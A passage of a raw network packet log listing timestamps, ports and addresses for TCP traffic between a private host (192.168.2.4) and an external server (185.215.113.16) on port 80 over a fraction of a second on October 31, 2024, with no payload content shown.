Oct 31, 2024 23:38:15.468476057 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468477011 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468487978 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468492031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468501091 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468518972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468530893 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468787909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468803883 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468818903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468827009 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468835115 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468847990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468849897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468858004 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468864918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468878031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468879938 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468894005 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468895912 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468908072 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468910933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468924046 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468935013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468936920 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468950033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468950987 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468966961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468971014 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468981981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468987942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468997955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469012022 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469013929 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469022989 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469028950 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469036102 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469046116 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469052076 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469062090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469074965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469077110 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469084978 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469093084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469099998 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469106913 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469119072 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469121933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469130039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469136953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469146967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469151974 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469160080 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469167948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469178915 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469183922 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469198942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469201088 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469208956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469213963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469223022 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469229937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469245911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469245911 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469257116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469261885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469275951 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469278097 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469285965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469295025 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469302893 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469310045 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469317913 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469326973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469337940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469337940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469342947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469357967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469363928 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469373941 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469383001 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469388962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469393015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469403982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469408035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469419003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469423056 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469434023 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469439030 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469449043 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469459057 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469465017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469475985 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469481945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469491959 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469502926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469521046 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469789982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469806910 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469822884 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469841003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469842911 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469856977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469867945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469881058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469897032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469901085 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469913006 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469922066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469928026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469944954 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469947100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469960928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469969988 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.469976902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.469990015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470000029 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470002890 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470015049 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470019102 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470032930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470036030 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470051050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470055103 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470065117 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470066071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470082998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470084906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470099926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470107079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470115900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470118046 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470130920 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470132113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470144033 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470146894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.470165968 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.470185041 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.472570896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.523338079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.523355007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.523370028 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.523410082 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.523444891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.524956942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.524971008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.525024891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561362982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561429024 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561470032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561485052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561500072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561506987 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561517954 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561532974 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561537981 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561548948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561563015 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561570883 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561579943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561580896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561604023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561613083 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561634064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561650038 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561665058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561680079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561688900 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561697006 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561702013 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561718941 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561738014 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561757088 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561769962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561783075 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561799049 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561803102 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561813116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561814070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561832905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561836004 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561841965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561852932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.561870098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.561882973 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562064886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562079906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562094927 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562102079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562109947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562110901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562128067 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562140942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562161922 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562176943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562191963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562200069 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562206984 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562211037 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562222958 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562236071 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562236071 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562252998 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562284946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562299967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562314034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562319994 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562330008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562338114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562345982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562347889 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562361002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562361956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562376976 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562393904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562397003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562411070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562424898 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562433958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562439919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562443018 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562457085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562459946 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562470913 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562472105 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562488079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562489986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562505960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562510967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562520027 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562540054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562675953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562690973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562705040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562716007 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562719107 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.562722921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562740088 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562752008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.562952995 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563024044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563040972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563056946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563061953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563072920 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563108921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563118935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563155890 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563172102 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563195944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563208103 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563210011 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563224077 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563232899 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563239098 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563254118 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563255072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563263893 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563268900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563280106 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563285112 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563292980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563298941 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563325882 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563327074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563339949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563354969 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563354969 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563369036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563375950 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563384056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563396931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563405037 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563416958 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563420057 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563435078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563441992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563450098 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563462973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563467026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563477039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563477993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563487053 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563493013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563502073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563507080 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563514948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563523054 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563530922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563543081 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563560963 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563590050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563606024 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563621044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563637018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563644886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563651085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563663006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563666105 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.563685894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563705921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.563932896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564033031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564070940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.564074993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564090014 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564105034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564111948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.564121962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564131021 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.564141035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.564160109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.564198017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564212084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564239025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.564254045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.564265013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564280033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.564317942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.565541983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.565567970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.565582991 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.565593004 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.565618992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.565628052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.566237926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.566252947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.566267014 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.566277981 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.566288948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.566306114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598400116 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598412991 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598439932 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598443985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598455906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.598459959 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598474026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598490000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.598495960 CET	49837	80	192.168.2.4	185.215.113.16
